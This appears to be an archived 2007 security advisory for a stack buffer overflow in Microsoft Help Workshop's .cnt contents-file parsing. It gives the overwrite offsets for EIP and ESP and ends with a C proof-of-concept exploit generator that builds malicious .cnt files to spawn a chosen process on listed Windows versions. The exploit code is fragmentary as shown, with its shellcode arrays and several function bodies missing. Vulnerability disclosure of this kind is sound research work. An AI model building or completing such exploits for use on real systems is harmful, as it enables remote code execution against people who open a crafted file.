Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Microsoft Help Workshop .CNT contents files buffer overflow vulnerability

Date: Wed Jan 17 2007 - 14:57:04 CST


There is a stack based memory corruption in Microsoft Help Workshop
while processing .CNT Help Contents files,
The tool is standard component of Microsoft Visual Studio 6.0 and 2003 (.NET)
for building and managing help projects
and could be also downloaded alone from the Microsoft download center.

Affected vendor:



Remote code execution

Attack vector:

An attacker must construct malformed .cnt file and induce victim to
open it with the tool, or if Help Workshop has been launched
in the past (after first launch it associates the .cnt files with itself),
to launch the malicious file by doubleclicking/selecting for editing.

Technical Details:

The stack based buffer overflow occurs in Microsoft Help Workshop
while processing .cnt files.Each potentialy vulnerable line is
constructed with the "%d %s" format ,

1 SomeContentsDescription

and placed by the program before processing in the static
buffer, which overflows itself because of lack of input data boundary
When the overflow occurs, the EIP register value is set to the DWORD value
placed 526 bytes counting from the beginning of 'SomeContentsDescription' string.
The ESP is set to DWORD value placed 534 bytes counting from the beggining of
the string.
The process control can be therefore intercepted by the attacker by
redirecting the instruction flow to the attackers provided code within the .cnt file.

Vulnerable software:

Microsoft Help Workshop v4.03.0002
Microsoft Visual Studio 6.0 SP6
Microsoft Visual Studio 2003 (.Net)


Proof of Concept exploit has been included at the end of the advisory.
After compiled, it will produce .cnt exploit files that
after succesfull exploitation should spawn user specified process
(by default notepad.exe), in the user specified OS enviroment.
The exploit can be also found at:


Vulnerability discovered and researched by: porkythepig
Exploit by: porkythepig

// PoC exploit for .cnt files buffer overflow vulnerability in
// Microsoft Help Workshop v4.03.0002
// The tool is standard component of MS Visual Studio v6.0, 2003 (.NET)
// vulnerability found / exploit built by porkythepig

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "memory.h"

#define STR01 "0 Microsoft Help Workshop PoC exploit by porkythepig "
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 619
#define PROC_NAM_SIZ 66
#define RET_OFFSET 0x210
#define PROC_NAME_OFFSET 0x228
#define BACK_SEQ_OFFSET 0x218
#define EXPRO_OFFSET 0xbf
#define GETSTAR_OFFSET 0x4a
#define CREPRO_OFFSET 0xb5

typedef struct
        unsigned int extPro;
        unsigned int getStarInf;
        unsigned int crePro;
        unsigned int getWinDir;
        unsigned int jmpEspPtr;

ApiPtrs osApiPtrs[5]=

unsigned char shlCode[]=

unsigned char backSeq[]=

char buf0[EXPL_SIZE];
char spawnProcess[PROC_NAM_SIZ];
char *outName;
int osId;
int defProc;

void CompileBuffer()
        int ptr=0;


        *((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro;
        *((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
        *((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
        *((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
        *((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr;


        printf("Exploit buffer compiled\n");

void WriteBuffer()
        FILE *o;

                printf("Cannot open file for writing\n");

        printf("Output .cnt file [ %s ] built successfully\n",outName);

void ProcessInput(int argc, char* argv[])
        printf("\nMicrosoft Help Workshop 4.03.0002 .cnt files exploit\n");
        printf("Vulnerability found & exploit built by porkythepig\n");
                printf("Syntax: exploit.exe os outName [spawnProc]\n");
                printf("[ os ] host OS, possible choices:\n");
                printf(" 0 Windows 2000 SP4 [Polish] updates on 11.01.2007\n");
                printf(" 1 Windows 2000 SP4 [English]\n");
                printf(" 2 Windows 2000 SP4 [English] updates on 11.01.2007\n");
                printf(" 3 Windows XP Pro SP2 [English] updates on 11.01.2007\n");
                printf(" 4 Windows XP Pro [English]\n");
                printf("[ outName ] output .cnt exploit file name\n");
                printf("[ spawnProc ] *optional* full path to the process to be spawned by\n");
                printf(" the exploit (if none specified default will be notepad.exe)\n");




int main(int argc, char* argv[])


        return 0;